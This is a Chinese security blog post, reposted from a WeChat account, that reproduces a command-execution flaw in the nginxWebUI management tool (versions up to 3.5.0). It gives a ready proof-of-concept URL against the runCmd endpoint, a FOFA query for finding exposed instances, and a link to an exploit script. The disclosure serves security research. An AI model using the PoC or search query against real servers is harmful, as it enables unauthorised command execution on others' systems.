1.漏洞描述
nginxWebUI
是一款图形化管理nginx
配置的工具, 可以使用网页来快速配置nginx
的各项功能, 包括http
协议转发,tcp
协议转发, 反向代理, 负载均衡, 静态html
服务器, ssl
证书自动申请、续签、配置等, 配置好后可一建生成nginx.conf
文件, 同时可控制nginx
使用此文件进行启动与重载, 完成对nginx
的图形化控制闭环.
参考自官方网站:https://www.nginxwebui.cn/
nginxWebUI
由于未对用户的输入进行严格过滤,导致任意命令执行漏洞。
该漏洞利用条件简单,漏洞危害较高。
影响版本:nginxWebUI <= 3.5.0
2.漏洞复现
poc
:
url地址 + /AdminPage/conf/runCmd?cmd=命令%26%26echo%20nginx
fofa
规则:app="nginxWebUI"
在这里以dnslog
平台来进行测试:
http://www.dnslog.cn/
直接输入刚刚的poc
测试:
此时证明漏洞存在,测试下能否执行命令回显:
在这里使用id
命令:
url地址 + /AdminPage/conf/runCmd?cmd=id%26%26echo%20nginx
4.exp
相关脚本已上传至github
:
https://github.com/crow821/crowsec
你也可以在乌鸦安全公众号后台回复关键字:nginx 下载
单个脚本可以一直执行命令:
在这里注意我前面有一个运行失败的标志:
在这里主要是考虑如果遇到英文环境,在这里可能会变化掉,所以我对此做了保留:
主要是为了适配一些非UTF-8
的环境,如果你有强迫症的话,你可以将这句话修改下:
res = re.findall(
'<br>运行失败<br>(.*?)<br>nginx<br>"}'
, result)
感觉影响其实不大。
原文始发于微信公众号(乌鸦安全):nginxWebUI runCmd命令执行漏洞简单复现
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论